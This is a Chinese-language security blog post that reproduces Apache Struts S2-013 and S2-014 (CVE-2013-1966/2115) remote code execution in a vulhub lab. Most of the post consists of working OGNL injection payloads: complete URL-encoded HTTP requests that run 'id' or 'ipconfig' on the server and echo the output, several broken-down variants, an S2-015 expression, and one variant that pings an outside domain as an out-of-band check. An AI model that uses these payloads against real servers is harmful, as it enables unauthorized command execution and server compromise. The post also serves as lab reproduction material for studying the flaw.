Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

S2-013/S2-014 Apache Struts includeParams Remote Code Execution CVE-2013-1966/CVE-2013-2115 简易复现

wpadmin~July 31, 2019 /InfoSec

S2-013 Apache Struts includeParams Remote Code Execution CVE-2013-1966/CVE-2013-2115 简易复现

漏洞演示环境搭建

参考 vulhub 的文档,进入 s2-013 的目录执行 docker-compose up -d

基本信息

payload

一个 Linux 环境的 payload 的,执行 id 的命令,并回显,同时拼接一个 cloudscannertest

GET /link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('cloudscannertest%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D HTTP/1.1
Host: 192.168.198.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F2819258CF6B1C89AC26A00C2CD43FDB
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


关键 OGNL

${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println('cloudscannertest='+new java.lang.String(#d)),#out.close()}

拆分格式

${
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println('dbapp='+new java.lang.String(#d)),
#out.close()
}

在 HTTP GET PATH 位置需要进行 ULRencode 的字符包括如下

${}#["]=@

或者直接选中 payload , 在 burp 中使用 Convert selection > URL > URL-encode all characters

GET /link.action?a=%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%27%63%6c%6f%75%64%73%63%61%6e%6e%65%72%74%65%73%74%3d%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d HTTP/1.1
Host: 192.168.198.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F2819258CF6B1C89AC26A00C2CD43FDB
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


三种关键 OGNL 表达式

方式一

${
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[50000],
#c.read(#d),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println('dbapp='+new java.lang.String(#d)),
#out.close()
}

方式一实际案例

GET /link.action?a=%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%62%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%61%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%63%2e%72%65%61%64%28%23%64%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%27%63%6c%6f%75%64%73%63%61%6e%6e%65%72%74%65%73%74%3d%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%64%29%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d HTTP/1.1
Host: 192.168.198.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F2819258CF6B1C89AC26A00C2CD43FDB
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


方式二

${
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#out.println(#a),
#out.close()
}

方式二实际案例

GET /link.action?a=%24%7b%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%22%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%22%5d%3d%74%72%75%65%2c%23%61%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%6f%75%74%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%57%72%69%74%65%72%28%29%2c%23%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%23%61%29%2c%23%6f%75%74%2e%63%6c%6f%73%65%28%29%7d HTTP/1.1
Host: 192.168.198.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F2819258CF6B1C89AC26A00C2CD43FDB
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


测试方式三

${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("ping -c 4 qwert.alida.club"))}




${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream())(#b=new java.io.InputStreamReader(#a))(#c=new java.io.BufferedReader(#b))(#d=new char[50000])(#c.read(#d))(#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter())(#out.println('dbapp='+new java.lang.String(#d)))(#out.close())}



${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter())(#out.println('dbappsecurity'))(#out.close())}

拆解

${
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
(#_memberAccess['allowStaticMethodAccess']=true)
(@java.lang.Runtime@getRuntime().exec("ping -c 4 qwert.alida.club"))
}

细化拆解

${
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
(#_memberAccess['allowStaticMethodAccess']=true)
(#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream())
(#b=new java.io.InputStreamReader(#a))
(#c=new java.io.BufferedReader(#b))
(#d=new char[50000])
(#c.read(#d))
(#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter())
(#out.println('dbapp='+new java.lang.String(#d)))
(#out.close())
}

细化考虑

${
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
(#_memberAccess['allowStaticMethodAccess']=true)
(#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter())
(#out.println('dbappsecurity'))
(#out.close())
}

S2-014

${%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo)%7D



${#_memberAccess["allowStaticMethodAccess"]=true,#cmd="ipconfig",#ret=@java.lang.Runtime@getRuntime().exec(#cmd),#data=new+java.io.DataInputStream(#ret.getInputStream()),#res=new+byte[500],#data.readFully(#res),#echo=new+java.lang.String(#res),#out=@org.apache.struts2.ServletActionContext@getResponse(),#out.getWriter().println(#echo)}

payload 拆解

S2-015

OGNL 表达式

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}




${
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
#m.setAccessible(true),
#m.set(#_memberAccess,true),
#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),
#q
}

参考资料

Apache Struts includeParams Remote Code Execution
https://www.anquanke.com/vul/id/1045014

S2-013
https://cwiki.apache.org/confluence/display/WW/S2-013

S2-014
https://cwiki.apache.org/confluence/display/WW/S2-014

CVE-2013-1966
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1966

CVE-2013-2115
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2115

Apache Struts includeParams Remote Code Execution / cxsecurity
https://cxsecurity.com/issue/WLB-2013060018

Struts-S2-014漏洞利用(含环境搭建、含POC)
https://www.jianshu.com/p/e8d8a2e4f472

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.